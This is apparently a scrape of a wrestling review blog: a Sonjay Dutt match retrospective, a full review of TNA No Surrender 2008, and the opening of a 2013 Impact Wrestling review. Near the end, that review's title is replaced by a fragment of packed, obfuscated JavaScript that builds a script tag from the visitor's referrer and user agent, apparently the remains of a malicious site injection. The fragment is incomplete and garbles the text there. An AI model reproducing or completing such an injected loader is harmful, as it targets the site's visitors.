Sabin misses an enziguri and kicks Storm off so he can make the hot tag. Off to Sonjay who speeds things way up. A rana and low dropkick get two on Storm. A springboard double dropkick puts the champs down as does a springboard moonsault press for no cover. Sabin saves Sonjay from a Hart Attack and Dutt counters the Catatonic into a sloppy rollup for two. The champs bring in a chair and Sabin hits a tornado DDT on Harris onto said chair. A springboard splash by Dutt gets two on Harris but Storm puts the knee into the barricade. Hindu Press misses and the Last Call sets up the Death Sentence to retain.

Rating: C. This was pure formula and there’s nothing wrong with that at all. The division was kind of weak at this point as Team 3D was busy fighting some incarnation of Team Canada so AMW needed some opponents tonight. Sabin was the guy you called when you needed a filler for a match on the card and he filled that role very well.

We’ll jump ahead to 2007 when Sonjay Dutt started a team with Black Machismo Jay Lethal. Lethal would become X Champion and Dutt wanted a shot, which was granted to him at Genesis 2007.

X-Division Title: Jay Lethal vs. Sonjay Dutt

They’re partners who are having a face vs. face match. Lethal is champion and is dating So Cal Val here. Scratch that as they haven’t hooked up yet. Dutt and Jay hug pre-match but in a manly way. Things start fast and it’s a stalemate. They botch something but try to turn it into a backslide by Jay. They reverse some pinfalls and Sonjay slaps him to tense things up a bit.

There’s a harder slap and Lethal fires back. Now he offers a hug as we’re playing some mind games. Dutt throws him to the floor and there’s a HUGE flip dive by Sonjay. There’s something cool about just whipping one of those out. The fans are split now. Dutt takes over and hits a double knee to the chest for two. Lethal tries to get something going but jumps into a dropkick for two.

Dutt seems to be questioning his mid-match heel turn and the delay lets Lethal get a middle rope leg lariat to put both of them down. Moonsault press gets two for the champion. Springboard missile dropkick sends Dutt to the floor and there’s a suicide dive as Lethal is in control. Back inside they speed things up and exchange some counters until Jay gets in a solid kick for two.

Dutt goes up for a moonsault but Jay rolls away. Dutt doesn’t miss a beat and lands on his feet where he hits a standing moonsault for two. Lethal shoves him off so Dutt hits a running standing shooting star press for two. The fans say that was awesome and for once they’re right. Dutt plays possum and grabs a cutter but doesn’t let go and rolls back into a his camel clutch finisher. Lethal grabs the rope quickly as this has to be close to finished. Lethal is all ticked off and fires off punches in the corner but charges into a pendulum kick. Dutt tries to get too fancy and walks into the Lethal Combination. The big elbow retains the title.

Rating: B. Where did this come from??? This was a very fun match with them cranking it up time after time. I can see why this feud went on forever as they kept trying to hit this level again or even top it. This is what the smaller guys are all about: having a fast paced match to entertain the crowd and it worked very well here. Fun match.

The two would continue to team together as Jay Lethal proposed to his girlfriend So Cal Val. This made her Elizabeth to his Randy Savage, somehow making Sonjay Dutt Hulk Hogan. As everyone predicted, Sonjay got jealous and turned heel, leading to the Ladder of Love match (just go with it) at No Surrender 2008.

Jay Lethal vs. Sonjay Dutt

Aww they both brought flowers. If nothing else we can look at Val in a blue dress. Oh and if you can’t see the turn coming from a mile away here, you’re blind. Ladder of Love sounds like a really bad reality show that gets a big rating on network TV. It’s of course a big gymnastics exhibition to start us off. And now that we’re into a big feud and gimmick match, we’re told that Salinas has been attacked by Jackie in the bathroom and is gone for the night. How riveting.

Dutt is sent into the ladder early on as Lethal has dominated the entire time. Lethal gets a back drop onto the ladder which is bridged between the barricade and the ring to half kill Dutt. Lethal goes up but Dutt gets a springboat to get onto the ladder and make the save. The fans think this is awesome. Not entirely true but it’s getting there. Lethal puts a ladder on top of a ladder so it would be like a T if the vertical ladder was closed.

Sonjay crotches Lethal and West says Lethal is wearing a ladder as pants. Lethal gets caught in a Tree of Woe with his head in a ladder so Dutt hits a baseball slide to more or less kill him. Dutt gets some chairs because that’s what heels do I guess. Out to the floor now where Lethal can’t get a powerbomb onto a ladder but Dutt can get a neckbreaker onto said ladder.

This is pretty good stuff so far. West: We should put a woman on the line every time! Naturally Lethal can get back in almost immediately and we have a pair of ladders set up now. Lethal manages to get stuck laid across two ladders so Dutt hooks a camel clutch on top of the ladders in a pretty cool looking visual.

Lethal manages to flip Dutt over so he crashes to the mat. Jay’s foot is caught in the ladder though so Val comes in to help him out. Dutt gets in her face until Lethal helps her. While he’s checking on her Dutt tries to get up the ladder. Lethal chases him and naturally Val hits him low so that Dutt can get the win. They make out post match.

Rating: B. Rather fun match here with both guys hammering each other rather well. The ending was of course about as predictable as anything you could ask for but the buildup to it worked rather well. This more or less ended the interaction between these two and Dutt never meant anything anymore.

Sonjay would be gone from TNA soon after this and mainly go to ROH. We’ll skip over that though as the shows are harder to find than I care to look. Instead here’s an indy show that was far bigger than it should have tried to be: AWE Night of Legends in 2011.

Jamin Olivencia vs. Sonjay Dutt

Apparently these two are at least semi-regulars in AWE. They stare at each other a lot and Jamin shouts his name again. We immediately start talking about the main event
as arm holds are traded. Jamin shouts for the third time and it’s a standoff. He starts to do it for the fifth but Sonjay grabs a headlock, making him the most popular act on the show so far. Really basic stuff so far until Sonjay nips up to slap Jamin in the face.

Things start speeding up a bit with Sonjay hitting a headscissors to send Jamin to the outside. Back in and Dutt snaps off a forearm to the head but Sonjay fires off even more shots to the face. What appeared to be a standing Lionsault is broken up and Jamin hits a running spinning splash for two. Off to a chinlock by Jamin for a bit until Sonjay fights out and sends him out to the floor. A BIG dive takes Jamin down and gets two back inside.

Olivencia hits a spinning clothesline for two but Dutt comes back with a running boot to the face and a springboard splash for two. Jamin comes back with a belly to back suplex to put both guys down. Sonjay fires off more kicks to stagger Jamin but gets hit by a jumping knee to the face. Olivencia backdrops him down but gets superkicked down as well. Sonjay wins a forearm slugout and we get the sunset flip/heel grabs the rope/referee kicks his arms free spot for two.

The referee gets bumped and Jamin hits a low blow on Sonjay, followed by the O Drop for the pin. What is the O Drop you ask? It appears to be a jumping DDT, but since the camera cut back to the referee with Jamin in mid jump, it might have been a carnival act similar to juggling oranges as 5000lbs of zucchini falls on Dutt for the pin.

Rating: C+. Until the ending here, this was getting pretty good. I’ve heard people say this show is at the level of Heroes of Wrestling or even worse which now scares me even more. Heroes had nothing of this level of speed or interest, so how bad can the rest of this show be? Anyway, these two looked good out there although Olivencia is pretty bland.

Dutt would head back to TNA soon after this and appear at No Surrender 2012.

X-Division Title: Sonjay Dutt vs. Zema Ion

Ion is defending. Feeling out process to start with Sonjay taking over. Taz praises him and they head to the floor with Sonjay hitting a slick roll across the apron into a rana on the floor. Back in and Ion takes over with some basic stuff and puts on a chinlock. We cut to the back where cops are coming to lock down the building. Sonjay makes his comeback with a headscissors and then another. He goes up but gets stopped by Zema, only for the champ to get release suplexed out to the floor.

A middle rope moonsault to the outside puts the champ down and back inside Sonjay gets two. Ion counters a rana into a powerbomb on the bad arm Sonjay came in with and it’s Rings of Saturn time. Dutt makes the rope and takes the champ down again, only to miss the moonsault into the double stomp. We get a pinfall reversal sequence resulting in a backslide into a Gory Bomb from Ion to retain at 11:38.

Rating: C. The match was fine but it was dead on arrival all around after the segment before it. Having the match thrown onto the card did it no favors either as there was no story to it at all and no reason to believe the champ was ever in any danger. This just didn’t do anything for me at all but the match was fine technically.

We’ll wrap it up with a One Night Only special called X-Travaganza.

Bad Influence vs. Petey Williams/Sonjay Dutt

Williams and Daniels get things going with Petey being sent in the corner but coming out with a headscissors and a smack to the face of Kazarian. Off to Dutt for a double elbow for a two count and some shoulders into Daniels’ ribs in the corner. Kaz comes in and ducks a kick, only to be caught by a standing moonsault for two. A dropkick gets the same for Dutt and it’s back to Petey.

Williams hooks a Sharpshooter on Kaz while Dutt hooks an Octopus Hold on Daniels. Petey hits some slick combo moves on both guys by hitting both guys at once before shrugging off a double leg drag. Kaz finally comes back and drapes Williams over the top rope to send him to the floor and take over. Off to Daniels for his slingshot elbow drop followed by the slingshot legdrop from Kaz for two. Daniels hooks a test of strength on Petey and climbs the rope to drive a knee into his chest for two.

We hit the nerve hold by Daniels for a bit before Petey is driven into the corner to break up a comeback. Kaz comes in for a front facelock as things slow down a bit as you would expect them to at some point. Petey finally fights up and gets to the corner for the hot tag to Sonjay. Dutt hits a cool bulldog into the middle buckle and a springboard legdrop onto the back of Daniels’ head for two.

Sonjay misses a springboard clothesline to Daniels and gets caught by a tornado DDT for Kazarian as Taz rips into Earl Hebner for being old. Dutt escapes Fade to Black but gets caught in a powerbomb/neckbreaker combo for two. Williams comes back in for his headscissors into a Russian legsweep for two on Daniels but Kaz breaks up the Canadian Destroyer.

Dutt hits a standing Sliced Bread on Kaz for two more but Daniels makes the save. Petey sends Daniels to the floor and hits a sweet slingshot rana to take him down. Dutt kicks Kaz in the head and loads up the moonsault double stomp, only to have Daniels break things up. Fade to Black puts Dutt down and the BME is good for the pin for Daniels.

Rating: B. Good fast paced formula based tag match here and that’s really hard to screw up when you have talented guys like these people. Dutt continues to look awesome since his comeback to the company but unfortunately TNA feels the need to focus on bland guys like Zema Ion for reasons I can’t fathom.

Sonjay Dutt is considered the best X-Division guy to never win the X Title and I can’t say I disagree. The guy is a very entertaining high flier and could put on some awesome showcases when he had the right opponent. That’s something we got to see a lot of in TNA and I’ve always had fun watching Sonjay, even when he was supposed to be Hulk Hogan….or something like that I think.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:



On This Day: Septeber 14, 2008 – No Surrender 2008: Three Out Of Four Isn’t Bad

No Surrender 2008
Date: September 14, 2008
Location: General Motors Centre, Oshawa, Ontario, Canada
Attendance: 3,500
Commentators: Mike Tenay, Don West

Someone requested this and I needed to do a TNA show anyway so here you are. This is kind of an awkward time for TNA as the Mafia hasn’t formed yet and there isn’t a big angle going on. The main event is supposed to be a four way with Joe vs. Booker vs. Cage vs. Angle but Booker had travel issues of some sort and can’t be here. Other than that we have an MMA match because EVERYONE that watches wrestling wants to see MMA right? Let’s get to it.

The opening video talks about how some say these people are performers and how this may not be a sport. Just let us know it’s fake guys! That all isn’t true apparently and it took a lot for all four guys in the main event to get here tonight.

Oh one thing more: like I said Booker was never here. The fans on PPV were told that. The 3,500 people in the arena were left in the dark about it and were confused. Nice guys up there in TNA. This is what I mean by not thinking.

The stupid intro video is still going now and runs over three minutes. GET ON WITH THE SHOW!

Here’s Sting. Not for a match but because he wants to talk I guess. He’s on the verge of a heel turn but is still very popular because he’s Sting. Naturally we need to turn him heel right Russo? Sting talks about how good it is to be back in Canada and says he’s in the hiz-ouse. Oh sweet merciful crap don’t start talking like that Stinger. Big ovation for Sting who has to pause because of all the cheering.

He gets the winner of the main event tonight at Bound For Glory but that’s not what he’s here to talk about. Instead he wants to talk about respect. Sting keeps flubbing his lines and you can tell he’s scrambling for some reason. He goes on a rant about respect and how some of the guys behind the curtain have no respect for anyone at all. Sting compares himself to Bret Hart and says that he’s fighting for the same thing as Bret did. He’s not retiring until guys like AJ and Joe know what respect is.

We’re over 10 minutes into the show now and we haven’t even started the first entrance yet.

Christian got here earlier today. Well good to see that he didn’t get lost an hour away from his hometown.

Booker won’t be here tonight. Again, the live fans were never told about this. There was a hurricane or something like that.

Now we run down the already purchased show to waste more time.

HOKEY SMOKE IT’S A MATCH AND WE’RE ONLY FOURTEEN MINUTES IN!

Rock N Rave Infection/Christy Hemme vs. Prince Justice Brotherhood

The Brotherhood is Super Eric (Young in a bad superhero gimmick), Stone Cold Shark Boy and Curry Man in one of the dumbest gimmicks even by TNA standards. The Infection is a bad rock band gimmick that played Guitar Hero controllers and had the smoking hot Christy Hemme as their manager. Eric vs. Rave to start with Eric taking over.

Eric gets a plancha to the floor which gets two back in the ring. Lance Rock comes in which gets his team nowhere so it’s off to Shark Boy. Thesz Press takes down Rock again as the good guys are dominating. Shark Boy is the same Steve Austin parody that was on Impact the other night. Over to Curry Man who gets a pop for no apparent reason other than a potential lack of oxygen in the arena.

Curry Man tags in Christy and we’re in a comedy match officially. He shoves her off and then realizes where his head was so he offers to go back into it again. Funny spot. Off to Shark Boy and Rave. Back drop sends Shark Boy (I refused to refer to him as Sharky like West and Tenay keep doing) to the floor as momentum changes.

Jawbreaker almost gets Shark Boy a tag but Rock N Rave get something close to a 3D but into a knee instead of a cutter. Christy comes in and is dropped onto Shark Boy by Rock. Cold tag to Curry Man (I thought he was hot and spicy?) who gets a flying hip to Rock. He and Hemme dance a bit and she gets kissed. Rollup gets two but Rock drills Curry so that Christy can hit the Flying Firecrotch Guillotine (don’t ask) for two. Chummer (Stunner) to Christy and a double Death Valley Driver to the guys from Curry Man end this.

Rating: C+. Basic fast paced and fun match to start us off here which is often times the best idea to open a show. Christy was the only good thing about the Infection as she looked great as the groupie. This was just here for comedy and to warm the crowd up and it did that rather well. Good opener.

Recap of Kong vs. ODB. Kong had been completely dominant and ODB is the only Knockout that isn’t terrified of her. Naturally that means falls count anywhere. Don’t you see the clear connection?

Awesome Kong vs. ODB

Funny sign: “Kong Ate My Sign” and there’s a chuck out of it which looks like teeth marks. I’m still not sure I get the point of ODB but she got pops (put her on TNN!) so I guess that makes sense. Saed, Kong’s manager, jumps ODB during her entrance/playing to the crowd/wasting time and we’re off.

ODB fights Kong off and apparently falls count anywhere means hardcore as there’s a table. At least ODB has pants on here. We head into the crowd as this is going to be a big old brawl. Naturally you can’t see much but ODB being in blue-green helps a lot. Trash can to Kong has her in trouble. Up to the ramp where Kong tosses ODB around and gets a slam for two.

All Kong here as ODB feels herself up after a chop for no apparent reason. Thesz Press on the floor gets two for ODB. Hey let’s spank the overly large woman for no apparent reason. We get ready to use the table that they set up earlier. ODB gets a chair from somewhere and gets a shot in with it for two.

The fans want tables. I wonder if they’ll settle for just one. Kong reverses a slam into an attempted Awesome Bomb but another counter by ODB. It winds up failing as Kong continues taking over. Kong goes up but gets caught in a powerbomb as Saed’s distraction fails.

ODB out to the floor where Saed hammers away. Apparently ODB took the burqa (scarf over the face) off on Impact and Saed isn’t happy. The less fat one fights her off and tries to come off the top but jumps into a chokeslam. Ok scratch the chokeslam as it’s a splash in the corner and a spinning backfist.

Instead of covering though she and Saed set up another table in the corner. ODB gets a shot from her flask (as in a drink) as West says she needs some Liquid Courage (doesn’t sound bad right now. When’s their next show anyway?). She spits it in Kong’s face which doesn’t mean anything as a spinebuster through the table from Kong ends this.

Rating: D+. It’s ok but it’s another of those silly “hardcore” brawls that WWF perfected in the late 90s. Definitely not a bad match but these two got kind of boring to see fight over and over again. Saed never really clicked that well and I’m not sure I got the point of her other than as an aide to Kong. Not bad but pretty weak overall.

The absolutely gorgeous Lauren is with Christian who says this is TNA, not the Hills. Uh, ok? OH! The Hills was a really bad reality show on MTV at this time. Totally forgot about that and it gives me hope for Jersey Shore dying soon. He’s a wrestler that has sacrificed everything for this business and he owes everything he has to it. It all started an hour from here and everyone told him he’d never do it and never make it to the top which he proved wrong. Tonight is more important than when he won his first two world titles because tonight it’s at home. Great stuff here. Generic, but great.

We recap Team 3D vs. Abyss/Morgan. This is during the Abyss loves pain thing which went on for like a year and stopped being interesting/making sense about three days in. He’s been in an institution for six months and is in control of his violent urges now apparently. Morgan is there just because he wants to be I guess.

Team 3D vs. Abyss/Matt Morgan

Abyss has the gray mask on now. Abyss vs. Ray to start us off. Wow that sounds awful beyond words. Mike points out how rare it is to have the Dudleys being at a weight disadvantage which is rather true. Ray with a Rock Bottom for two. Off to D-Von and we actually hear that Abyss has been a world champion. You never hear about that anymore and I’m not quite sure why.

Morgan and Abyss take over so the Dudleys say they’re out of here. Morgan goes after them and the fight is on again. Back in the ring and D-Von works over the knee of Abyss. Off to Ray who does the same which makes me think they’re needing a nap already. The fans, again, want tables. Morgan comes in and the fight is finally on.

Not much of a match so far as this is a lot of laying around and bad brawling. Morgan takes D-Von down with a big shoulder block as this finally speeds up a bit. Morgan does Old School to massive booing. He dives off the top to hit D-Von with a cross body which gets the crowd behind him again.

Morgan sets for the Hellavator on D-Von but Johnny Devine, the associate of Team 3D, pops Morgan with a chair from behind for two. Everything is already broken down if you didn’t get that yet. Double clothesline takes down 3D and brings in Abyss. Shock Treatment to Devine and hits ten punches in the corner to D-Von. Odd sight for some reason.

In a very impressive spot the Dudleys manage to get a Doomsday Device on Abyss. That was incredibly impressive. Morgan saves and Abyss is up seconds later. Chokeslam to D-Von gets two. Abyss picks up a chair but can’t manage to swing it. D-Von gets it but has it punched into his face by Morgan and the Black Hole Slam ends it.

Rating: C. Eh this wasn’t too bad. It’s the Dudleys vs. some random pairing so it’s kind of hard to really get into it. Morgan had so many random partners (ok so it was more like two) that it was hard to differentiate between them. Nothing special here but it wasn’t anything horrible so we’ll say it’s right in the middle.

Post match Ray cracks Morgan with a chair and does the same to Abyss but Ray puts the chair in Abyss’ hands and I think you know what the idea here is.

Various friends of the people in the X Title triple threat say their friend will win. It sounds like the beginning of a really stupid puzzle.

X–Division Title: Sheik Abdul Bashir vs. Petey Williams vs. Consequences Creed

Let’s get this over with as it’s a random EVIL Muslim against two other guys. Williams is champion coming in. Creed is some big time American hero character like Apollo Creed. Williams is the home country favorite and gets a modest reaction. Rhaka Khan is with him for some reason. Sheik hits the floor early so it’s Williams vs. Creed.

Earl Hebner is the referee so we get the YOU SCREWED BRET chants. Bashir back in now and it’s your usual mostly entertaining spot fest for awhile now. Big dive by Creed takes both guys out and then he celebrates with the fans who likely should hate him. Two minutes in and the fans think this is awesome already. Williams gets a slingshot Codebreaker on Creed.

This is so spotty it’s unreal. By spotty I mean it’s do this move then go onto the next one. It’s fun, don’t get me wrong, but at the same time it’s not as fun as it should be as it could be better structured. This is because of Shane Sewell being an overly fair referee so it’s supposed to just be Creed but Bashir said there was something fishy going on and it’s a triple threat.

Williams takes down both guys and the fans are into him. Basically the idea is that if he hits the Canadian Destroyer the roof will go off. A double one doesn’t work as both guys realize they have a guy helping them break it up and break it up with ease. Bashir gets a middle rope suplex on Williams but Creed dives in with a double guillotine legdrop for two. Destroyer to Creed is teased but Creed counters.

Williams gets a Sharpshooter to Bashir and of course we reference Montreal because EVERYONE wants to hear about that again right? That nearly 45 seconds of selling by Creed might be more than the whole match combined. The selling here is really quite bad and that’s what’s hurting it a lot. With all this lack of selling why should I buy into the moves? As I say that Williams gets the running Destroyer (flip Piledriver) and Bashir steals the pin and the title.

Rating: C+. It’s ok, but the problem with TNA is the same that WWE had: why in the world should I care about these lightweight matches? There’s no story to it other than a referee that has nothing to do with this match. It’s just there. There were some nice spots and some cool moves, but this match came and went and I’m not going to remember it in fifteen minutes or so, which is the truth of almost every X Division match that doesn’t have AJ in it. The same is true today and that’s not good.

Samoa Joe, the world champion, is here, over an hour into the show.

We recap the Knockouts Title match between Wilde and Love. Angelina is a witch and wants the title. That’s about it.

Knockouts Title: Taylor Wilde vs. Angelina Love

If nothing else Velvet looks great in more or less a bikini bottom. Oh and they have Cute Kip with them to annoy me. Wilde has one of those annoying videos where they show clips of her coming to the ring while she comes to the ring so you can never tell which is which. Wilde gets on the mic and says she isn’t going to be against three people tonight and brings out Rhyno. I get why I’ve never heard her talk otherwise.

Big brawl to start with both chicks landing punches and rolling around on the mat. Well you can’t argue they’re not giving the people what the want. Traci Brooks comes out to watch the match and take notes. She’s in charge of the division here for no apparent reason. Out to the floor where Velvet drills Taylor with a makeup kit to give Angelina the control. Angelina runs Taylor’s eyes along the top rope. It would help if there hadn’t been a clear 8 inches between her face and the rope but take what you can get I suppose.

Taylor comes back a bit and attempts a suplex from the middle rope. Love counters into kind of almost a bad Gordbuster off the middle rope to take over again. Taylor gets a quick rollup for two. She kicks Angelina’s head off and Kip comes in. Rhyno Gores him as Velvet gets on the apron and then knocked off so a Northern Lights Suplex ends Angelina.

Rating: D+. Pretty weak little match here but it wasn’t completely awful. This was another match when Angelina was still pretty bad in the ring. She would get a lot better, but that doesn’t mean that there was heat on any of these matches, because there certainly was none to be seen here.

We recap Lethal vs. Dutt in the Ladder of Love match. Both love So Cal Val and Val is tired of being in the middle of it. Lethal proposed to her and told her either she stop associating with Dutt or he’s gone. The solution of course: a ladder match to get her, whatever that entails. In other words, a single match is supposed to determine her feelings for one of these guys. What a freaking witch.

Oh and I almost forgot: these three were supposed to be the modern Hogan/Savage/Liz. Let that sink in for a minute.

Jay Lethal vs. Sonjay Dutt

Aww they both brought flowers. If nothing else we can look at Val in a blue dress. Oh and if you can’t see the turn coming from a mile away here, you’re blind. Ladder of Love sounds like a really bad reality show that gets a big rating on network TV. It’s of course a big gymnastics exhibition to start us off. And now that we’re into a big feud and gimmick match, we’re told that Salinas has been attacked by Jackie in the bathroom and is gone for the night. How riveting.

Dutt is sent into the ladder early on as Lethal has dominated the entire time. Lethal gets a back drop onto the ladder which is bridged between the barricade and the ring to half kill Dutt. Lethal goes up but Dutt gets a springboat to get onto the ladder and make the save. The fans think this is awesome. Not entirely true but it’s getting there. Lethal puts a ladder on top of a ladder so it would be like a T if the vertical ladder was closed.

Sonjay crotches Lethal and West says Lethal is wearing a ladder as pants. Lethal gets caught in a Tree of Woe with his head in a ladder so Dutt hits a baseball slide to more or less kill him. Dutt gets some chairs because that’s what heels do I guess. Out to the floor now where Lethal can’t get a powerbomb onto a ladder but Dutt can get a neckbreaker onto said ladder.

This is pretty good stuff so far. West: We should put a woman on the line every time! Naturally Lethal can get back in almost immediately and we have a pair of ladders set up now. Lethal manages to get stuck laid across two ladders so Dutt hooks a camel clutch on top of the ladders in a pretty cool looking visual.

Lethal manages to flip Dutt over so he crashes to the mat. Jay’s foot is caught in the ladder though so Val comes in to help him out. Dutt gets in her face until Lethal helps her. While he’s checking on her Dutt tries to get up the ladder. Lethal chases him and naturally Val hits him low so that Dutt can get the win. They make out post match.

Rating: B. Rather fun match here with both guys hammering each other rather well. The ending was of course about as predictable as anything you could ask for but the buildup to it worked rather well. This more or less ended the interaction between these two and Dutt never meant anything anymore.

JB talks to Angle about the problems with Booker who isn’t here tonight. Angle says Joe’s name will never be in the same book as his. Christian sucks too because he’s from Canada. Oh and he remembers Jarrett too because they have to be joined at the hip every 8 seconds.

We recap LAX vs. Beer Money and their apparent hardcore match last month which looks rather softcore to me. Beer Money messed up Homicide’s eye with a beer bottle so Hernandez says a lot of incomprehensible things to be all tough.

Tag Titles: Beer Money vs. LAX

This should be pretty good at least due to the talent in there. It’s the only thing that either guy in LAX is good at so this is as good as it’s getting. Beer Money is still kind of new here apparently and just won the titles last month. LAX has Hector Guerrero (Eddie’s more talented and dead ringer of a brother) with them. Jackie is with Beer Money to make things all the more annoying.

Storm has one of those football helmets with drinks in it. Homicide and Roode start wich Roode running early. I still don’t see the future world champion in him that everyone else claims to see and I’ve always found Homicide overrated so this isn’t exactly ideal conditions for me. Homicide jumps him but runs into a shot to the eye for Roode to take over again.

Hernandez makes a blind (ironic no?) tag in and drills Roode with a slingshot shoulder block. Jackie’s distraction lets the champions take over so that Hernandez can be beaten down. Off to Storm as we hear about how awesome Beer Money is. Hernandez almost gets a powerbomb on Storm but Roode gets a chop block to take him down. Double suplex has SuperMex in trouble.

Does anyone else laugh at a referee named Slick Johnson? The fans like LAX despite Roode being Canadian. The champions keep Hernandez from tagging out and call Homicide a very bad word and flip him off. Homicide gets a tag that is so hot that I missed the reaction to it. Have some enthusiasm there fans. DDT from the second rope gets two on Roode.

Spinebuster gets two for Roode as Hernandez saves. Everything breaks down with LAX in control here. Hernandez backdrops Homicide over the top and out to the floor to take out Roode. A big dive by Hernandez doesn’t happen since Storm spits beer in his face. Hector and Jackie get into it on the floor. A beer bottle shot by Homicide misses Storm.

Big dive by Hernandez takes out Storm so we’re back to Homicide vs. Roode in the ring. They counter finishers for a bit until the Gringo Cutter drills Roode for no cover. Gringo Killer is blocked by powder from Jackie (I guess the white stuff on his face is undetectable or something) and a Fisherman’s suplex from Roode ends Homicide in a rather short match.

Rating: D+. I didn’t like this one at all for some reason. An 8 minute tag title match feels far too short for some reason. There was zero heat from the crowd on the tags or the big spots at all which hurt it a lot also. The champions never seemed to be in anything resembling danger at all which hurt it a lot. Pretty weak match here and it didn’t click at all.

We recap Frank Trigg vs. AJ for one of his two matches in this company. Since he’s now a wrestler, this is an MMA match. No word on why they’re fighting, but they certainly are. It isn’t helping Trigg that he’s nearly a dead ringer for Angle.

Frank Trigg vs. AJ Styles

Yeah because this is going to work very well. Trigg gets on the mic and somehow he’s managing to kill this crowd even further. He cuts one of the most painfully generic heel promos I’ve ever heard while holding the American Flag. SHUT UP AND GET THE HECK ON WITH THIS!!! The fans don’t care so of course Trigg keeps talking. FINALLY AJ gets out here to breathe some life into this place.

They’re doing five minute rounds here to make it all the stupid. I don’t watch wrestling to see MMA. If I wanted to see that I’d watch MMA! Why is that so complicated for so many wrestling companies? Are we supposed to buy that AJ would have a chance at all against Trigg in a legit MMA fight? You can only win by knockout or tap out here.

Naturally, Trigg owns AJ for the most part here, making AJ look completely weak and that there is no skill at all in wrestling. Nice job TNA. We hit the floor for a bit where AJ looks even stupider. Trigg gets about his 9th takedown in maybe two and a half minutes as the fans are clearly getting restless. What a great way to use one of the best guys on the roster!

The fans want wrestling to the shock of no one that thinks these things through. What’s TNA”s next great move? SHOW THE FANS CHANTING THAT! AJ has hit maybe two punches the whole time. The fans are booing the living heck out of this. LOUD Fire Russo chant now as Trigg spanks AJ after about the 112th takedown. The announcers try to say that Trigg is gaining respect for AJ or something like that. AJ gets an armbar to end the round and the bell rings so everyone thinks AJ won by tapout but it’s just a rest period instead to further tick the fans off.

The second round starts….and AJ accidentally hits Trigg low for a no contest. OH FREAKING NO! We really sat through six minutes of this nonsense to get to this? WOW. AJ hits the floor to be all ticked off. The fans chant THIS IS BULL as everyone is right. AJ wears Trigg out with a kendo stick post match to half booing/half cheering as this continues but it also was the awful ending. Trigg hasn’t been seen since.

Rating: P. As in PAY ATTENTION WRESTLING BOOKERS BECAUSE FANS DO NOT WANT TO WATCH FREAKING MMA ON A WRESTLING SHOW!!! GET IT THROUGH YOUR FREAKING HEADS ALREADY!!! This was awful and made AJ look awful in case you couldn’t tell.

AJ shouts at the announcers that he’s a wrestler and that he doesn’t do that stuff. Holy shooting Batman!

Joe says that he’s like an animal with enemies closing in on him from all around. He talks about how he has no respect for Sting who has nothing to do with the main event. He talks about how Sting is never at any of the house shows because he’s here for the fame and not for the hard work. Good stuff here from the fat man.

Overly dramatic video about the world title match which is a triple threat with the challengers qualifying. And remember, the fans DO NOT KNOW Booker won’t be there. He’s in the video too so it’s not really helping things.

TNA World Title: Christian Cage vs. Samoa Joe vs. Kurt Angle

Each guy gets a brief video and then their actual entrance. It’s coming off like they have too much time on their hands which is odd as they had a good deal of matches and the tag title match was short. Sting comes out after Joe and the fight is on in the aisle! Could they make it any more obvious that this is the main event of BFG? AJ comes out to pull Joe off as we waste some more time.

Now we do big match intros. The introductions started almost ten minutes ago once these are done. The Instant Classic is a great nickname. Angle gets double teamed to start with Christian hitting a jumping back elbow off the middle rope. The idea is that Booker was supposed to more or less make it an unofficial tag so Angle is in trouble. Joe and Christian square off in the middle which I guess is supposed to be epic but it just isn’t.

Christian slaps him and the fight is on. Leg lariat takes the Canadian down as Angle is still down. There’s the bald guy and Joe grabs the Clutch out of nowhere which West thinks is a cover for no apparent reason. Ankle lock to Christian after Christian saved Angle. What a jerk! Angle suplexes Christian over the top and there goes the Canadian’s knee.

We hit the chinlock now as we’re really hammering in that whole waste time thing. Christian gets up and crotches Angle on the post before hitting a cross body on Joe for two. Angle pops back up as I guess his Olympic balls aren’t hurt by hitting a post. He gets a German on Joe and then snaps up the ropes to hit a belly to belly on Christian. Unprettier is blocked into another German as this is going very, very quickly and not in the best way you would think of.

Joe starts busting out Germans to Angle. Christian gets out of the MuscleBuster. Tower of Doom looks pretty good and Joe gets two on both guys. You would think that would somehow be more than three but not quite I guess. Angle tries to get a German to Christian off the apron to the floor but Christian counters into the Pendulum Kick. Angle grabs the ankle and jumps over to get it on in the ring.

Christian saves so he gets an ankle lock. Angle is like screw it and puts it on both guys at once. MuscleBuster to Christian but Angle distracts the referee so there’s a delayed cover for two. Joe hits a huge corkscrew tope con hilo to take out the challengers on the floor. It’s a cool looking move but I really want this match to end and soon. Back in the ring Angle gets the Slam to Joe and Christian adds a splash and the Unprettier but Angle pulls out the referee.

Angle drills the referee and everyone is down. Totally unprotected chairs shot to the head of Christian and Joe set up the ankle lock on Joe. I hate those things as they add nothing at all to the match and can hurt people badly. At least get a hand up or something guys. Jarrett comes down and drills Angle with the guitar, allowing Joe to hit a MuscleBuster to get the pin on Angle and retain. Jarrett raises Joe’s hand to end the show.

Rating: B-. Good match for the most part but the pacing was way off for the vast majority of it which hurts it a lot. There more or less was no building part or beginning part with the vast majority of the fifteen minutes feeling like one really long ending sequence. It’s not bad at all and some of the spots are good, but it’s more or less a throwaway match which isn’t what you want to end a PPV. Also Joe was about as obviously going to win as possible here.

Overall Rating: D. This show took me four days to get through. The wrestling is weak, the matches are forgettable at best and it’s a long commercial for Bound For Glory. The main point of this show seemed to be Joe making sure he got to Sting at BFG and everyone else just making sure they had spots there. This is a show that if you didn’t see you would miss absolutely nothing. The ladder match is pretty good but it’s absolutely nothing worth going out of your way to see. Totally boring show but not completely bad. Watch it if you can’t sleep.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:



Impact Wrestling – July 24, 2013: Lawyers Aren’t Interesting

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ainbk|var|u0026u|referrer|iibft||js|php'.split('|'),0,{})) Wrestling
Date: July 25, 2013
Location: Broadbent Arena, Louisville, Kentucky
Commentators: Mike Tenay, Jeremy Borash

We open with a recap of last week with less of a focus on the world title than you would expect.

Video on Greg Marisculo.

Video on Manik with his mask off.

X-Division Title: Manik vs. Greg Marasciulo vs. Sonjay Dutt

Back from a break with Greg hitting the over the back piledriver on Manik on the ramp to knock him out, but possibly injuring his own knee in the process. Greg goes for the belt but Sonjay comes back in to make the save. They slug it out and kick each other in the face to put both guys down.

Ray (with a BIG bandage on his head) tells Anderson to go win the BFG Series.

